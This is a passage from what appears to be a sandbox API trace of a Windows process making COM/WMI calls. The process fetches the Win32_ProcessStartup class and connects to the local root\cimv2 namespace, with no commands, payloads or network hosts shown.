pProxy=0x1bbda9a0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0132.863] WbemLocator:IUnknown:Release (This=0x1aa036a0) returned 0x2 [0132.863] WbemLocator:IUnknown:Release (This=0x1aa036e0) returned 0x1 [0132.863] CoTaskMemFree (pv=0x1bbc6830) [0132.863] WbemLocator:IUnknown:AddRef (This=0x1bbda9a0) returned 0x2 [0132.863] WbemLocator:IUnknown:Release (This=0x1bbf18a0) returned 0x0 [0132.864] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0132.864] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0132.864] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda9a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa036b0) returned 0x0 [0132.864] WbemLocator:IRpcOptions:Query (in: This=0x1aa036b0, pPrx=0x1bbf1900, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0132.864] WbemLocator:IUnknown:Release (This=0x1aa036b0) returned 0x2 [0132.864] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0132.864] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0132.864] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda9a0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bbda9a0) returned 0x0 [0132.864] WbemLocator:IUnknown:Release (This=0x1bbda9a0) returned 0x2 [0132.864] SysStringLen (param_1=0x0) returned 0x0 [0132.865] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc02a0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0132.865] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc02a0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0132.865] IWbemServices:GetObject (in: This=0x1bbda9a0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbd5520, ppCallResult=0x0) returned 0x0 [0132.867] IWbemClassObject:Get (in: This=0x1bbd5520, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0132.867] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0132.867] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0132.867] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0132.867] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0132.867] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0132.867] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.869] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbf18a0) returned 0x0 [0132.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf18a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0132.870] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf18a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bbc0420) returned 0x0 [0132.870] WbemDefPath:IUnknown:Release (This=0x1bbf18a0) returned 0x0 [0132.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bbc0420) returned 0x0 [0132.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0132.870] WbemDefPath:IUnknown:AddRef (This=0x1bbc0420) returned 0x3 [0132.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0132.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0132.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbf18c0) returned 0x0 [0132.870] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf18c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.870] WbemDefPath:IUnknown:Release (This=0x1bbf18c0) returned 0x3 [0132.870] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0132.871] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0132.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0132.871] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x2 [0132.871] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x1 [0132.871] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0132.871] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0132.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bbc0420) returned 0x0 [0132.871] WbemDefPath:IUnknown:AddRef (This=0x1bbc0420) returned 0x3 [0132.871] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x2 [0132.871] WbemDefPath:IWbemPath:SetText (This=0x1bbc0420, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0132.871] IWbemClassObject:Get (in: This=0x1bbd5520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282fad0*=0, plFlavor=0x282fad4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282fad0*=19, plFlavor=0x282fad4*=0) returned 0x0 [0132.871] IWbemClassObject:Get (in: This=0x1bbd5520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282fad0*=19, plFlavor=0x282fad4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282fad0*=19, plFlavor=0x282fad4*=0) returned 0x0 [0132.871] IWbemClassObject:Put (This=0x1bbd5520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0132.871] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc01e0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0132.871] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0132.872] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0132.872] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.872] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0132.872] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0132.872] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0132.872] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.874] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bbf1a60) returned 0x0 [0132.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1a60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0132.875] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1a60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bbc04e0) returned 0x0 [0132.875] WbemDefPath:IUnknown:Release (This=0x1bbf1a60) returned 0x0 [0132.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc04e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bbc04e0) returned 0x0 [0132.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc04e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0132.876] WbemDefPath:IUnknown:AddRef (This=0x1bbc04e0) returned 0x3 [0132.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc04e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0132.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc04e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0132.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc04e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bbf1aa0) returned 0x0 [0132.876] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1aa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.876] WbemDefPath:IUnknown:Release (This=0x1bbf1aa0) returned 0x3 [0132.876] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0132.876] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0132.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc04e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0132.876] WbemDefPath:IUnknown:Release (This=0x1bbc04e0) returned 0x2 [0132.876] WbemDefPath:IUnknown:Release (This=0x1bbc04e0) returned 0x1 [0132.876] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0132.877] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0132.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc04e0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bbc04e0) returned 0x0 [0132.877] WbemDefPath:IUnknown:AddRef (This=0x1bbc04e0) returned 0x3 [0132.877] WbemDefPath:IUnknown:Release (This=0x1bbc04e0) returned 0x2 [0132.877] WbemDefPath:IWbemPath:SetText (This=0x1bbc04e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0132.877] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc04e0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0132.877] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0132.877] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.877] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0132.877] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0132.877] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0132.877] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.878] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bbf1ba0) returned 0x0 [0132.878] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1ba0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0132.878] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbf1ba0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bbf1bc0) returned 0x0 [0132.878] WbemLocator:IUnknown:Release (This=0x1bbf1ba0) returned 0x0 [0132.879] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1bc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bbf1bc0) returned 0x0 [0132.879] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1bc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0132.879] WbemLocator:IUnknown:AddRef (This=0x1bbf1bc0) returned 0x3 [0132.879] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1bc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0132.879] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1bc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0132.879] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1bc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0132.879] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0132.879] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0132.879] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1bc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0132.879] WbemLocator:IUnknown:Release (This=0x1bbf1bc0) returned 0x2 [0132.879] WbemLocator:IUnknown:Release (This=0x1bbf1bc0) returned 0x1 [0132.879] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0132.879] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0132.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1bc0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbf1bc0) returned 0x0 [0132.880] WbemLocator:IUnknown:AddRef (This=0x1bbf1bc0) returned 0x3 [0132.880] WbemLocator:IUnknown:Release (This=0x1bbf1bc0) returned 0x2 [0132.880] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc04e0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0132.880] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0132.880] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.880] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bbf1be0) returned 0x0 [0132.880] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbf1be0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbdad90) returned 0x0 [0133.013] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbdad90, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa03820) returned 0x0 [0133.013] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa03820, pProxy=0x1bbdad90, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0133.013] 